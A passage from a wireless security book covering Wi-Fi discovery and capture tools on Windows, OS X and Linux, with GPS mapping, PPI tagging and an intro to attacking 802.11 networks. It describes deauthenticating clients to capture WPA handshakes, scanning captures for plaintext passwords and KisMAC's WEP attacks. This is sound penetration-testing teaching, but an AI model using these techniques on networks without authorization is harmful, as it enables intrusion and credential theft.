Vistumbler’s	main	window	is	shown	here.	It	provides	a	sortable	view	of	networks	that
it	has	discovered,	with	the	information	(BSSID,	SSID,	signal	strength,	and	so	on)	that	you
would	expect.

Vistumbler	displays	the	following	information	about	each	network:

•		Active	Indicates	whether	the	network	is	currently	in	range.

•		Mac	Address	Displays	network’s	BSSID.

•		SSID	Displays	the	network’s	Service	Set	Identifier	(network	name).	Will	be
blank	if	network	is	hidden.

•		Signal	Gives	signal	as	reported	from	driver.	Units	vary	with	the	driver
vendor.

•		Channel	Self-explanatory.

•		Authentication	Lists	type	of	authentication	being	used.

•		Encryption	Lists	type	of	encryption	being	used.

•		Manufacturer	Displays	likely	AP	manufacturer.	This	information	is	derived
from	the	OUI	of	the	BSSID.

Configuring	GPS	for	Vistumbler
Assuming	your	GPS	device	is	installed	and	working	at	the	operating-system	level	(if	not,
refer	to	Chapter	1),	getting	Vistumbler	to	support	it	is	usually	pretty	easy.	Click	Settings	|
GPS	Settings.

If	you	have	an	NMEA	serial	device	connected,	you	should	be	able	to	select	the	COM



port	Windows	assigned	to	it.	For	simple	NMEA	devices,	select	Use	Kernel32.	For	most
GPS	devices,	the	default	serial	port	options	(4800	bps,	8	data	bits,	no	parity,	1	stop	bit,	no
flow	control)	are	fine.
	

If	you	are	having	trouble	getting	Vistumbler	to	recognize	your	GPS,	try	using	a	program
called	GpsGate.	GpsGate	can	talk	to	virtually	any	GPS	product	and	proxy	the	data	out	to
several	standard	interfaces,	such	as	a	virtual	COM	port.

Visualizing	with	Vistumbler
As	mentioned	previously,	Vistumbler	has	integrated	support	for	real-time	mapping	on
Google	Earth.	So	while	you	are	scanning,	you	can	watch	Google	Earth	update	with	your
results.	KML	files	can	also	be	generated	from	a	saved	scan.

A	typical	scan	is	shown	here.	In	Google	Earth,	networks	with	no	encryption	are	shown
in	green,	WEP	networks	are	orange,	and	networks	utilizing	WPA	and	better	are	red.
Clicking	a	network	will	display	a	description	with	channel,	BSSID,	and	so	on.

Because	you	have	all	of	the	power	of	Google	Earth,	you	can	easily	annotate	your	scans
for	later	analysis.	For	example,	you	can	create	a	polygon	by	using	the	Polygon	tool	(third
icon	from	the	left).	You	could	use	the	polygon	to	highlight	a	particular	location	you	found
interesting	and	leave	a	note	for	yourself.	Because	Google	Earth	runs	on	all	common
operating	systems,	you	can	then	save	this	KML	file	and	use	it	on	any	OS	you	like.	Google
Earth’s	interactivity	makes	it	the	best	place	to	visualize	wireless	networks.



	

Readers	interested	in	comparing	the	mapping	capabilities	of	all	the	mentioned	tools	can
download	a	KML	containing	the	results	of	all	surveys	displayed	in	this	chapter	from	the
companion	website.

Enabling	Google	Earth	Integration
Once	you	have	your	GPS	working	with	Vistumbler,	you	will	want	to	set	up	the	Google
Earth	integration.	You	can	access	this	from	Settings	|	Auto	KML.	By	tweaking	the
Altitude	and	Heading	values,	shown	here,	you	can	control	how	far	out	Google	Earth
zooms	when	it	refreshes.

Then	from	the	main	menu,	click	the	Extra	|	Open	KML	Network	Link	option,	and
Google	Earth	will	pop	up	with	a	real-time	visualization	of	your	scan.



Windows	Sniffing/Injection	Tools
Sadly,	although	Windows	has	extensive	support	for	monitor	mode	(both	natively	and
through	third-party	tools	such	as	AirPcap	and	CommView),	not	many	applications	are
well	suited	to	passive	scanning	with	monitor	mode	support.	The	utilities	that	are	available
on	Windows	are	mostly	related	to	diagnosing	and	debugging	wireless	problems.	In	the
same	way	that	Wireshark	can’t	really	replace	Kismet,	NetMon/MessageAnalyzer	and
CommView	are	no	replacement	for	a	proper	wardriving	utility.

NDIS	6.0	Monitor	Mode	Support
(NetMon/MessageAnalyzer)
With	the	release	of	Windows	Vista,	Microsoft	took	the	opportunity	to	clean	up	the
wireless	API	on	Windows.	Wireless	drivers	targeted	for	Windows	Vista	or	later	are	written
to	be	NDIS	6.0	compliant.	NDIS,	the	Network	Driver	Interface	Specification,	is	the	API
for	which	Microsoft	network	interface	device	drivers	are	written.	While	Microsoft	was
reworking	the	wireless	aspect	of	the	specification,	it	also	added	a	standard	way	for	drivers
to	implement	monitor	mode.	The	most	visible	consequence	of	this	is	that	Microsoft
Network	Monitor,	and	its	bigger	brother	Message	Analyzer,	can	be	used	to	place	the	card
into	monitor	mode	and	capture	packets.

NetMon	(Passive	Sniffer)

To	get	monitor	mode	support,	you	need	to	install	the	latest	version	of	NetMon	and
utilize	the	nmwifi	utility	(included	with	NetMon)	to	configure	the	adapter’s	channel	and
mode.	A	screenshot	of	nmwifi	is	shown	here.



The	nmwifi	utility	is	used	to	configure	the	monitor	mode	interface.	Once	configured,
NetMon	can	be	used	to	capture	traffic	(shown	next).	For	more	details	on	utilizing	NetMon
in	monitor	mode	for	cracking	networks,	please	see	Chapter	7.



	

Don’t	forget	to	use	nmwifi	to	set	your	channel	appropriately.	Surprisingly,	despite	the	fact
that	a	standardized	API	exists	for	providing	monitor	mode	support,	the	market	for	third-
party	monitor	mode	solutions	on	Windows	is	quite	large.	This	is	evidenced	by	the	fact	that
currently	no	applications	other	than	NetMon	make	use	of	the	native	monitor	mode
support.

AirPcap
AirPcap	is	a	product	offered	by	Riverbed	(previously	CACE	technologies).	For	users	of
Unix-based	operating	systems,	this	tool	will	feel	the	most	familiar.	The	AirPcap	products
offer	commercial-quality	monitor	mode	support	via	specially	branded	USB	dongles.	These
dongles	integrate	nicely	with	WinPcap,	which	means	Wireshark	supports	them	easily.

AirPcap	(Passive	Sniffer)



AirPcap	products	come	in	a	variety	of	configurations,	most	of	which	include	support
for	packet	injection.	The	price	of	the	products	varies	from	approximately	$200	(with	no
injection	support)	up	to	$700	for	a/b/g/n	support.	Unfortunately,	this	capability	will	set
you	back	the	price	of	a	reasonably	equipped	laptop	(around	$700).	For	details	on	price	and
feature	capabilities,	please	refer	to	http://www.cacetech.com/products/airpcap.html.

One	big	advantage	of	AirPcap	is	that	it	is	a	developer-friendly	tool.	In	terms	of	third-
party	support,	AirPcap	currently	has	the	most	momentum.	Both	Cain	&	Abel	and
Aircrack-ng	can	utilize	AirPcap	due	to	its	easy-to-use	programming	interface.

Installing	AirPcap
Installing	AirPcap	software	is	as	straightforward	as	installing	any	Windows	application.
Once	you	have	installed	the	driver	and	associated	utilities,	you	can	use	the	AirPcap
Control	Panel	(shown	here)	to	configure	the	channel	frequency	and	so	on,	of	your	adapter.

With	your	AirPcap	interface	configured,	you	can	run	a	variety	of	programs,	including
Wireshark	and	Cain	&	Abel.	One	interesting	utility	that	is	bundled	with	AirPcap	is
AirPcapReplay	(shown	next).	This	utility	allows	you	to	replay	the	contents	of	a	capture
file	from	Windows.

http://www.cacetech.com/products/airpcap.html


CommView	for	WiFi
CommView	for	WiFi	is	a	commercial	product	developed	by	Tamosoft
(http://www.tamos.com).	You	can	download	a	very	functional	trial	of	CommView	for	WiFi
for	free.	This	version	supports	all	of	the	same	features	as	the	commercial	version,	but
expires	after	30	days.

CommView	for	WiFi	works	by	providing	drivers	for	a	variety	of	chipsets	and	adapters.
The	current	list	includes	many	Atheros	and	recent	Intel	chipsets.	You	can	view	the	entire
list	at	http://www.tamos.com/products/commWiFi/adapterlist.php.

Installing	CommView	is	refreshingly	simple—like	a	typical	Windows	application.
Once	the	application	is	installed,	it	then	looks	for	any	adapters	that	it	supports	and	offers
to	configure	them	with	the	appropriate	drivers.	Therefore,	have	the	adapter	you	wish	to
utilize	plugged	in	when	you	run	setup.	The	driver	installation	wizard	can	be	rerun	at	any
time	by	accessing	Help	|	Driver	Installation	Guide.	A	properly	configured	adapter	is
shown	here.

http://www.tamos.com
http://www.tamos.com/products/commWiFi/adapterlist.php


Once	you	start	CommView	for	WiFi,	click	the	Start	Capture	(Play)	button.
CommView	will	start	hopping	and	soon	present	you	with	a	nice	overview	of	networks	in
range	as	well	as	utilized	channels.

Once	CommView	is	running,	there	are	two	particularly	useful	views:	Nodes	and
Packets.	The	Nodes	view	(shown	next)	displays	clients	and	access	points	CommView	has
seen.



And,	as	you	would	expect,	the	Packets	tab	gives	you	a	Wireshark-like	view	of	the
packets	CommView	has	captured.



Both	of	these	displays	are	pretty	self-explanatory.	By	clicking	File	|	Save	Packet	Log
As,	you	can	export	the	packets	to	the	standard	libpcap	format.	Combine	this	with	the	easy
ability	to	inject	packets	(coming	up	next),	and	you	actually	have	a	nice	Windows	GUI
program	that	can	deauthenticate	users,	capture	the	WPA	handshake,	and	export	it	to
Aircrack-ng	for	cracking.	The	ability	to	transmit	packets	from	the	demo	version	of
CommView	for	WiFi	is	its	most	interesting	feature.	This	is	explained	next.

Transmitting	Packets	with	CommView	for	WiFi

CommView	for	WiFi	has	mature	support	for	packet	injection	on	Windows.	It	supports
injection	of	all	types	of	packets	(management,	data,	and	control).	It	even	has	a	very
intuitive	visual	packet	builder.



You	can	access	the	packet	injection	feature	by	clicking	Tools	|	Packet	Generator.	Once
inside	the	Packet	Generator	interface,	shown	in	Figure	2-1,	you	can	control	the	parameters
related	to	the	packet	you	want	to	inject,	such	as	the	transmission	rate	and	how	many	times
per	second	to	send	the	packet.	Figure	2-1	shows	a	bare-bones	beacon	packet	that	was
made	with	the	visual	packet	builder;	the	BSSID	field	has	been	set	to
CC:CC:CC:CC:CC:CC.

Figure	2-1	CommView	sending	a	packet

By	clicking	the	Visual	Packet	Builder	button,	you	can	easily	craft	your	own	packet	for
transmission.	The	packet	builder	is	surprisingly	intuitive.	The	following	illustration	shows
a	beacon	packet	crafted	utilizing	the	packet	builder.



By	clicking	the	Packet	Type	drop-down	menu	at	the	top,	you	can	easily	craft	higher	layers,
such	as	ARP	and	TCP,	as	well.

CommView	for	WiFi	has	a	convenient	GUI	for	injecting	deauthentication	packets.
This	feature	is	used	to	force	the	user	to	reassociate	and	capture	the	four-way	WPA
handshake.	This	feature	is	accessible	from	the	Tools	|	Node	Reassociation	menu	option.

CommView	for	WiFi	Summary
CommView	for	WiFi	is	a	powerful	wireless	utility	that	is	reasonably	priced	($199	for	a
one-year	license).	It	has	support	for	many	adapters	(including	802.11n	and	802.11ac)	and
runs	on	Windows	7	and	8/8.1.	One	of	its	coolest	features	is	an	intuitive	graphic	packet



crafter.	This	feature	makes	casual	experimentation	with	802.11	implementations	much
easier	than	on	other	platforms.

OS	X	Discovery	Tools
OS	X	is	fortunate	to	have	a	passive	scanner	called	KisMAC	(despite	the	name,	it	has	no
relationship	with	Kismet).	KisMAC	has	support	for	all	recent	Apple	AirPort	cards,	as	well
as	drivers	for	a	handful	of	external	USB	802.11b/g	adapters,	the	most	prolific	being	the
RTL8187-based	Silver	Alfa.

KisMAC

KisMAC	(Passive	Scanner)

KisMAC	is	first	and	foremost	a	passive	scanner.	Naturally,	it	includes	support	for	GPS
and	the	ability	to	put	wireless	cards	into	monitor	mode.	It	also	has	the	capability	to	store
its	data	in	a	variety	of	formats.

KisMAC	includes	a	variety	of	other	features	that	aren’t	strictly	related	to	its	role	as	a
scanner.	In	particular,	it	has	support	for	various	attacks	against	networks.	Though	these
features	will	be	mentioned	briefly	in	this	section,	they	won’t	be	covered	in	detail	until
Chapter	3.	KisMAC	also	has	active	drivers	for	the	AirPort/AirPort	Extreme	cards.
Although	you	can	use	these	in	a	pinch,	you	should	really	try	to	use	a	passive	driver	with
KisMAC	to	get	the	most	functionality	from	it.

KisMAC’s	Main	Window
Shown	here	is	KisMAC’s	main	window.	Most	of	the	columns	should	be	self-explanatory.
Note	the	four	buttons	at	the	bottom	of	the	window.	These	provide	easy	access	to
KisMAC’s	four	main	windows:	Networks,	Traffic,	Maps,	and	Details.



Before	you	can	scan	for	networks,	you	will	have	to	tell	KisMAC	which	driver	you
want	to	use.	Naturally,	this	choice	depends	on	what	sort	of	card	you	have.	You	can	set	this
under	the	Driver	option	in	the	main	KisMAC	Preferences	window.	You	can	also	set	other
parameters,	such	as	channels	to	scan,	hopping	frequency,	and	whether	to	save	packets	to	a
file.	As	shown	next,	KisMAC	is	configured	to	scan	all	legal	U.S.	channels	(1–11)	using	an
RTL8187	driver.	KisMAC	will	save	packets	to	~/Dumplog-year-month-day.pcap.



KisMAC	Visualization
KisMAC	has	support	for	GPS.	As	mentioned	in	the	previous	chapter,	you	will	need	a	GPS
device	that	is	recognized	as	a	serial	port	with	a	supported	driver,	such	as	the	BU-353.	For
details	on	getting	your	device	recognized,	see	the	previous	chapter.

KisMAC	generates	a	list	of	all	the	available	serial	ports	on	your	Mac.	Assuming	you
have	a	device	that	is	recognized	by	the	OS	as	a	serial	port,	when	you	go	into	the	GPS
Configuration	dialog,	you	should	see	the	port	listed	in	a	drop-down	menu.	If	you	have
selected	the	correct	device	(/dev/tty.usbserial	in	my	case),	then,	when	you	click	the
Maps	window,	you	will	probably	see	a	message	telling	you	your	location.

Once	upon	a	time	KisMAC	had	built-in	support	for	mapping.	It	would	download
imagery	from	a	variety	of	servers	and	overlay	the	networks	in	real	time	in	the	Map
window.	Somewhere	along	the	way	the	map	importers	were	no	longer	maintained.	Since
viewing	and	manipulating	survey	data	inside	of	Google	Earth	is	easier,	this	isn’t	too	big	of
a	deal.	KisMAC’s	ability	to	export	to	KML	is	not	affected.

KisMAC	and	Google	Earth
To	generate	a	KML	from	KisMAC,	simply	click	File	|	Export	To	KML,	and	load	the
resulting	file	into	Google	Earth.	A	sample	of	KisMAC’s	KML	output	is	shown	in	Figure
2-2.



Figure	2-2	KisMAC’s	Google	Earth	output

Saving	Data	and	Capturing	Packets
You	can	save	two	types	of	data	with	KisMAC:	scanning	data	and	packet	captures.	When
you	save	scanning	data,	you	can	load	it	into	KisMAC	later,	allowing	you	to	map	and
export	data	after	the	fact.	KisMAC	saves	this	data	in	its	own	native	format	(a	so-called
.kismac	file),	whereas	raw	packet	data	is	stored	in	the	traditional	.pcap	format.

The	other	sort	of	data	KisMAC	lets	you	save	is	packets.	This	is	one	of	the	biggest
advantages	of	using	a	passive	scanner—you	can	save	all	the	data	that	you	gather	and
analyze	it	later.	One	possible	use	for	these	packet	files	includes	scanning	through	them	and
looking	for	plaintext	usernames	and	passwords	(you’d	be	surprised	how	many
unencrypted	POP3	servers	are	still	out	there).	Another	use	for	these	files	is	cracking	the
wireless	networks	themselves.	Most	attacks	against	WEP	and	WPA	require	that	you	gather
some	(and	quite	possibly	a	lot	of)	packets	from	the	target	network.	Details	of	these	attacks
are	covered	in	Chapters	3	and	4.

To	get	KisMAC	to	save	packets	for	you,	just	select	the	desired	radio	box	from	the
Driver	Configuration	screen.	If	you	are	unsure	what	you	are	interested	in,	it	never	hurts	to
save	everything.	KisMAC	saves	packets	in	the	standard	open	source	.pcap	file	format.	If
you	want	to	examine	one	of	these	files,	you’ll	find	the	best	tool	for	the	job	is	Wireshark.
Wireshark	can	be	installed	as	a	native	application	on	OS	X.

Finally,	KisMAC	has	support	for	performing	various	attacks.	Currently,	these	attacks
include	Tim	Newsham’s	21-bit	WEP	key	attack,	various	modes	of	brute-forcing,	and	RC4
scheduling	attacks	(aka	statistical	attacks	or	weak	IV	attacks).	Although	KisMAC’s	drop-
down	menu	of	attacks	is	very	convenient,	you	are	generally	better	off	using	a	dedicated
tool	to	perform	these	sorts	of	attacks.

Other	features	worth	mentioning	include	the	ability	to	inject	packets	and	to	decrypt
WEP-encrypted	.pcap	files.	Currently,	KisMAC	is	the	only	tool	capable	of	injecting
packets	on	OS	X.	To	inject	packets	with	KisMAC,	you	will	need	a	supported	card.	The
most	common	card	currently	supported	by	KisMAC	for	injection	is	the	RTL8187-based
Silver	Alfa.

Linux	Discovery	Tools
Linux	has	two	main	passive	scanners:	airodump-ng	and	Kismet.	Airodump-ng	is	a
lightweight	C	program	that	is	bundled	with	the	Aircrack-ng	suite.	It	provides	a
rudimentary	user	interface	and	GPS	support,	but	currently	doesn’t	output	GPS-tagged
packet	captures	(more	on	these	later).

The	other	option	is	Kismet,	a	fully	featured,	client/server-architected	802.11
monitoring	framework	complete	with	plugins	and	a	fancy	curses	interface.	One	major
advantage	Kismet	has	is	that	it	can	output	packet	captures	with	GPS	tags	in	the	.pcap	file
itself.



airodump-ng
Since	airodump-ng	is	so	lightweight,	we	are	going	to	demo	running	it	on	a	handy	tool
known	as	a	WiFi	Pineapple.	Pineapples	are	basically	small,	possibly	battery-powered
routers	running	Linux	and	OpenWrt.	Hak5	created	the	Pineapple	board,	shown	here;	the
most	recent	revision	(Mark	V)	has	two	radio	interfaces,	USB,	and	a	customized	web
interface	that	allows	users	to	run	special	modules	(known	as	“infusions”).

That	said,	the	web	interface	is	written	in	PHP,	runs	constantly	in	the	background,	and
generally	eats	up	a	lot	of	resources	doing	nothing	when	you	aren’t	using	it.	In	this
example,	we	are	going	to	do	everything	from	the	Pineapple	command	line.	To	begin,
configure	your	Pineapple	to	get	online	so	it	can	download	packages	and	log	in	to	it	as	root.
(If	you	need	help	with	this,	please	see	Pineapple’s	documentation.)

1.	First,	we	stop	the	web	server	to	free	up	resources	for	our	survey:
root@Pineapple:~#	/etc/init.d/uhttpd	stop

2.	Next,	we	install	tmux,	gpsd,	and	gpsd-clients:
root@Pineapple:#	opkg	--dest	usb	install	tmux	gpsd	gpsd-clients

	

The	--dest	usb	command	will	install	the	packages	on	the	external	SD	card.



3.	Next,	we	install	the	packages	needed	to	make	sure	the	BU-353	GPS	is	recognized	by
the	kernel:
root@Pineapple:#	opkg	install	kernel	kmod-usb-serial-pl2303

	

Tmux	is	a	modern	replacement	for	the	Linux	utility	screen.	It	lets	you	split	windows
inside	a	terminal	and	attach	and	detach	from	a	running	session,	and	it	generally	makes	all
manner	of	command-line	life	better.	The	authors’	tmux	configuration	(which	you’ll	see	in
many	of	the	command-line	screenshots)	is	optimized	for	working	on	embedded	systems
such	as	the	Pineapple.	You	can	download	a	copy	of	this	configuration	(and	even	some
associated	documentation)	from	the	book’s	companion	website.

4.	Now	is	a	good	time	to	start	tmux.	For	those	who	didn’t	get	the	memo,	tmux	is	like
screen	but	a	hundred	times	better.
root@Pineapple:#	tmux

5.	Next	we	split	the	tmux	window.	Use	CTRL-B,	then	“	(double	quote)	for	those	of	you
on	the	stock	configuration,	or	CTRL-Q,	then	-	(single	dash)	for	those	with	the
supercharged	johnny	configuration:



And	then	start	gpsd	and	cgps,	respectively,	so	we	can	monitor	our	GPS	status	in	one
convenient	window:

6.	Next,	we	create	a	directory	on	the	external	SD	card	to	store	our	.pcap	files:

7.	Then,	we	create	a	new	tab	in	tmux,	put	an	interface	into	monitor	mode,	and	start
airodump-ng.	In	this	example,	we	are	repurposing	wlan1	for	capturing.	If	you	are
connected	to	your	Pineapple	over	Wi-Fi,	be	sure	to	select	the	wireless	interface	that
you	are	not	using	for	ssh.



8.	Finally,	we	start	airodump-ng.	You	should	get	results	similar	to	those	shown	in	Figure
2-3.

Figure	2-3	Airodump-ng	running	on	Pineapple

	

You	will	need	version	1.2-beta1	or	later	of	airodump-ng	for	working	GPS	support.

airodump-ng	Visualization
Airodump-ng	actually	creates	files	that	are	compatible	with	Kismet’s	older	.netxml	and
.csv	format,	so	in	order	to	convert	the	data	that	airodump-ng	created	to	KML,	we	will
counterintuitively	use	a	tool	called	GISKismet.

Over	the	years,	more	than	a	few	scripts	have	been	written	to	convert	Kismet’s	output



to	KML,	maps,	and	so	on.	Most	of	them	have	been	abandoned.	The	most	recent	Kismet
visualizer	is	called	GISKismet.	GISKismet	was	presented	at	ShmooCon	2009	and	works
on	the	latest	version	of	Kismet.

	

Modern	survey	tools	store	the	GPS	information	directly	in-line	with	the	packet	using
something	called	Per-Packet	Information	(PPI).	The	upcoming	section	on	Kismet	details
why	this	is	preferable	to	the	older	method	that	airodump-ng	and	most	other	scanners	use.

GISKismet	GISKismet	is	available	at	http://trac.assembla.com/giskismet/.	GISKismet
works	by	importing	the	.csv	or	.netxml	files	output	by	Kismet	(and	airodump-ng)	into	a
SQLite	database.	Then	you	can	run	queries	against	your	wardriving	results	with	all	of	the
flexibility	of	a	SQL	interface.	GISKismet	comes	preinstalled	on	Kali	Linux,	which	we	will
use	to	visualize	the	data	collected	from	the	Pineapple.

Once	you’ve	finished	this,	you	will	have	a	SQLite	database	in	your	current	directory,
named	wireless.dbl:
root@kali:~/#	file	./wireless.dbl./wireless.dbl:	SQLite	3.x	database

So	far,	we	have	only	imported	data	to	the	database.	Here	are	a	few	examples	on	how	to

http://trac.assembla.com/giskismet


work	with	the	data.	Let’s	start	by	exporting	all	of	the	networks	that	we	imported.	This
generates	a	KML	of	all	the	data	we’ve	collected.

Next,	let’s	find	all	of	the	unsecured	Linksys	routers	out	there:

The	previous	examples	just	touch	on	the	ability	to	query	the	scan	results	with	SQL.
When	pen-testing	large	facilities,	you	can	use	this	to	clean	out	the	targets	from	the	not-
targets	easily.	An	example	of	the	output	generated	by	GISKismet	is	shown	here.

Kismet
Kismet	is	more	than	a	scanning	tool.	Kismet	is	actually	a	framework	for	802.11	packet
capturing	and	analysis.	In	fact,	the	name	Kismet	is	ambiguous.	Kismet	actually	comes
with	two	binaries:	kismet_server	and	kismet_client;	the	executable	kismet	is	merely	a
shell	script	to	start	them	both	in	typical	configurations.	The	Kismet	architecture	is	shown
here.



Kismet	(Passive	Scanner)

Kismet	(like	airodump-ng)	relies	on	another	program	named	GPSD	to	talk	to	your
GPS	hardware.	GPSD	connects	to	your	GPS	device	across	a	serial	port	and	makes	the	data
available	to	any	program	that	wants	it	via	a	TCP	connection	(port	2947,	by	default).	GPSD
comes	with	many	distributions	and	is	easy	to	install	(apt-get	install	gpsd	gpsd-
clients).	Once	installed,	you	only	need	to	pass	it	the	correct	arguments	to	talk	to	your
hardware.



If	you	have	any	trouble	getting	GPSD	to	work,	it	supports	useful	debugging	flags	-D
(debug)	and	-N	(no	background).	For	example,	typing	gpsd	-D	2	-N	/dev/ttyUSB0
allows	you	to	view	what’s	going	on	in	real	time.

	

Recent	versions	of	GPSD	only	allow	connections	on	localhost	by	default.	If	you	are
having	trouble	connecting	to	a	GPSD	instance	across	the	network,	try	running	it	with	-G.

You	can	connect	to	the	GPSD	TCP	port	by	using	telnet	or	netcat.	The	following
command	connects	to	GPSD	and	verifies	a	working	connection:

	

If	you	want	to	switch	your	BU-353	(or	similar)	GPS	device	to	use	NMEA	instead	of	a
binary	protocol,	you	can	run	gpsctl	-f	-n	-s	9600	/dev/ttyUSB0	to	force	its	behavior.

Configuring	Wireless	Interfaces	for	Kismet
Kismet	is	pretty	good	at	auto-detecting	wireless	interfaces	for	you	and	suggesting	sources



to	add.	Still,	it’s	a	good	idea	to	configure	a	monitor	mode	interface	for	the	physical
interface	you	want	to	use	for	capture.	In	the	following	example,	we	remove	the	managed
mode	interface	wlan0	that	is	attached	to	physical	interface	phy0	and	replace	it	with	a
monitor	mode	interface	named	mon0:

Running	Kismet
Now	that	you’ve	configured	your	GPS	and	wireless	interface,	it’s	time	to	fire	up	Kismet.
Kismet	will	create	a	bunch	of	files	in	the	startup	directory,	so	we	suggest	making	a
Kismetdumps	directory	to	avoid	too	much	clutter.

Once	you	start	Kismet,	you	will	be	prompted	to	start	a	Kismet	server.	Click	through
that,	and	it	will	prompt	you	to	add	a	source.	Select	the	wireless	interface	we	configured	to
monitor	mode	previously	(mon0),	and	press	Add.

The	new	Kismet	is	largely	menu	driven.	If	you	ever	want	to	do	something,	press	~	to
access	the	menu.	Here,	you	can	change	quite	a	few	display	settings.	Pressing	ENTER	on	a
network	will	bring	up	the	Network	Detail	View	(Figure	2-4),	which	contains	detailed
information	about	a	given	network.



Figure	2-4	Kismet’s	main	window

Kismet-Generated	Files
By	default,	Kismet	generates	the	following	five	files	in	the	startup	directory:

•		.alert	Text-file	log	of	alerts.	Kismet	sends	alerts	on	particularly	interesting
events,	such	as	observing	driver	exploits	from	Metasploit	in	the	air.

•		.gpsxml	XML	per-packet	GPS	log.

•		.nettxt	Networks	in	text	format.	Good	for	human	perusal.

•		.netxml	Networks	in	XML	format.	Good	for	computer	perusal.

•		.pcapdump	Pcap	capture	file	of	observed	traffic;	includes	PPI-GPS	tags
when	available.

Advanced	Visualization	Techniques	(PPI)
As	mentioned	previously,	recent	versions	of	Kismet	output	.pcap	files	with	something
called	Per-Packet	Information	(PPI)	tags.	These	tags	are	particularly	helpful	for	wireless
surveys	because	they	can	store	meta-information	such	as	the	location	in	which	a	packet
was	captured,	its	channel,	and,	in	some	cases,	the	type	of	antenna	and	its	orientation.



For	example,	look	at	the	following	screenshot	of	Wireshark	decoding	GPS	information
embedded	in	the	pcap	created	from	a	Kismet	survey.

One	benefit	is	that	we	can	actually	use	Wireshark	display	filters	to	filter	our	data	by
location.	For	example,	to	display	every	packet	that	contains	a	WPA	handshake	within	a
specific	area,	we	can	use	the	following	Wireshark	display	filter:

Visualizing	PPI-Tagged	Kismet	Data
Another	benefit	of	PPI-tagged	data	is	that	tools	can	be	developed	to	visualize	or	perform
analysis	on	.pcap	files	regardless	of	the	survey	tool	that	generated	them.	For	example,	the
reference	implementation	of	the	PPI	visualizer	(ppi-viz)	can	be	run	on	a	.pcap	file
generated	by	Kismet	as	follows:



Loading	the	resulting	KML	file	into	Google	Earth	gives	us	the	following	results.
Individual	networks	can	be	selected	on	the	left,	and	a	bar	graph	of	sorts	is	created	in	the
main	view.	The	stronger	the	signal	strength	received,	the	brighter	the	packet	and	the
longer	the	line.	In	the	following	illustration,	we	have	selected	a	network	named	“Madrose
Patio.”	We’ll	use	this	network	to	illustrate	the	capabilities	of	all	the	survey	tools	utilized	so
far.	(We	added	the	three-dimensional	polygon	by	hand	to	provide	context	and	to	denote
the	physical	location	of	Madrose	Patio.)



Looking	at	this	image,	you	can	see	the	maximum	signal	strength	received	(–63)	took
place	right	next	to	the	patio	(as	expected).	What	is	much	more	useful,	however,	is	that	we
now	know	how	far	away	we	can	see	the	network	from.	This	is	a	critical	piece	of
information,	and	it	was	the	main	motivation	for	the	creation	of	PPI-GPS	support.

The	vertical	bars	on	the	right	side	of	the	screen	let	you	know	the	signal	strength	from
across	the	street.	From	experience,	usually	–75	dBm	or	better	is	a	good	threshold	for
associating	to	a	network	without	issue.	By	analyzing	the	KML,	now	we	know	where	we
could	and	could	not	set	up	for	a	pen-test.	Contrast	that	with	the	results	from	the	standard
visualization	tools	shown	next.



Here,	you	can	see	the	output	from	Vistumbler,	KisMAC,	and	GISKismet	overlaid
simultaneously.	While	two	of	these	tools	did	a	good	job	of	locating	the	network,	none	of
them	provide	enough	context	to	tell	you	from	how	far	away	you	can	see	it.	For
comparison,	look	back	at	the	PPI-GPS	illustration.	At	any	point	in	the	path	that	was
walked,	you	can’t	tell	if	the	network	is	visible	from	the	current	location,	nor	can	you
determine	the	received	signal	strength.

PPI-Based	Triangulation	(Servo-Bot)
Finally,	the	PPI	specification	allows	applications	to	encode	direction	as	well	as	location.
This	information	is	placed	in	a	vector	tag	in	the	.pcap	file.	The	following	screenshot
illustrates	a	properly	filled	out	vector	tag	being	decoded	by	Wireshark.



Unfortunately,	Kismet	doesn’t	currently	know	what	type	of	antenna	you	are	using,
much	less	its	orientation.	In	order	to	exercise	this	functionality,	the	author	created	a
wireless	scanning	robot	called	Servo-Bot.	This	robot,	shown	next,	interfaces	with	a	GPS,	a
software-controlled	pan-tilt	unit,	and	a	wireless	card	in	monitor	mode.	Utilizing	this
information,	the	software	can	create	a	.pcap	file	that	encodes	the	orientation	of	the	antenna
as	it	rotates	on	the	servo.



In	the	image,	the	pan-tilt	unit	sits	between	the	antenna(s)	and	the	tripod.	The	author	took
to	the	streets	with	this	ominous	contraption	during	a	slow	afternoon	in	the	neighborhood
park	outlined	in	the	following	screenshot.	Here,	Servo_Scan1	and	Servo_Scan2	indicate
exactly	where	Servo-Bot	was	placed	for	both	surveys.



After	capturing	the	packets	with	the	servo-based	scanner,	we	ran	them	through	the
same	visualizer	(ppi-viz)	we	used	on	the	Kismet	capture:

Finally,	if	we	plot	the	results	from	the	servo,	we	get	the	output	shown	in	Figure	2-5.
The	longer	brighter	lines	represent	stronger	signal	strength	(just	as	with	Kismet).	The
intersecting	lines	were	added	manually	for	illustrative	purposes.



Figure	2-5	Visualizing	the	results	from	the	servo-based	scan	and	the	Kismet	results

Finally,	as	shown	in	Figure	2-6,	we	can	view	this	data	using	Google	Earth’s	Street
view.	This	view	provides	an	augmented-reality	type	display,	where	brighter	directional
lines	point	toward	the	network	and	taller	vertical	lines	indicate	the	level	of	signal	strength
received	at	that	location.



Figure	2-6	Visualizing	the	results	in	Google	Earth	Street	view

Additional	information	on	Servo-bot	is	available	at	the	book’s	companion	website
http://www.hackingexposedwireless.com.

Summary
This	chapter	covered	the	details	of	using	scanners	on	three	popular	operating	systems,
including	the	advantages	and	disadvantages	of	using	each	platform	and	the	details	of
configuring	and	using	the	major	scanning	tools	on	each	one.	We	also	provided	examples

http://www.hackingexposedwireless.com


of	the	native	visualization	capabilities	of	each	platform,	as	well	as	an	in-depth	example	of
why	GPS-tagged	.pcap	files	can	be	visualized	with	significantly	better	results	than	other
formats.

We’ll	leverage	these	tools	and	the	information	they	gather	as	we	continue	to	look	at
techniques	for	attacking	wireless	networks	in	the	next	chapter.



	





CHAPTER	3
	



ATTACKING	802.11	WIRELESS
NETWORKS

	





Security	on	wireless	networks	has	had	a	very	checkered	past.	WEP,	in	particular,	has	been
broken	so	many	times	that	you	would	think	people	would	quit	getting	worked	up
about	it.	This	chapter	covers	tools	and	techniques	to	bypass	security	on	networks

prior	to	the	use	of	Wi-Fi	Protected	Access	(WPA).	Where	possible,	attacks	are	presented
on	Linux,	Windows,	and	OS	X.

Basic	Types	of	Attacks
Wireless	network	defenses	fall	into	a	few	different	categories.	The	first	category—“totally
ineffective,”	otherwise	known	as	security	through	obscurity—is	trivial	to	break	through
for	anyone	who’s	genuinely	interested	in	doing	so.

The	next	type	of	defense	can	be	classified	as	“challenging.”	Generally,	WEP	and	a
